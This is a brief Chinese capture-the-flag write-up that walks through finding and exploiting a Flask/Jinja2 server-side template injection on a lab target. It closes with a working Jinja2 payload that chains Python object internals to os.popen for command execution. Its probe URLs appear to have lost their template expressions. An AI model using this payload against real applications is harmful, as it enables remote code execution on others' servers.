# 0x01 信息收集
启动机器,访问目标 157.245.42.82:30461
搜索 Proudly powered by Flask/Jinja2
看看能得到什么信息
通过搜索可以知道这个 Flask
有一个 SSTI 服务端模板注入
类似于 XSS,就是通过输入特定的字符串构成模板的一部分,后端进行渲染的时候就会造成攻击
我们访问一下资源,验证下是不是存在 SSTI
访问
# 访问 | |
http://157.245.42.82:30461/=9 | |
http://157.245.42.82:30461/=9 |
发现都返回了错误,代表 SSTI 存在
那么我们可以通过 python 的魔术方法来实现 RCE
# 构造攻击
- 首先通过
__class__
获取对象的类 - 然后
__mro__
获取对象继承的类,因为所有的对象都继承资object
,这样就能拿到object
类 - 在通过
__subclasses__
获取到object
子类 - 子类中的
<class 'warnings.catch_warnings'>
的命名空间里有__builtins__
- 最后使用
__import__
方法导入os
库就可以 RCE 了
# SHELL
Payload
http://157.245.42.82:30461/={{ "".__class__.__mro__[1].__subclasses__()[186].__init__.__globals__["__builtins__"]["__import__"]("os").popen("cat flag.txt").read() }}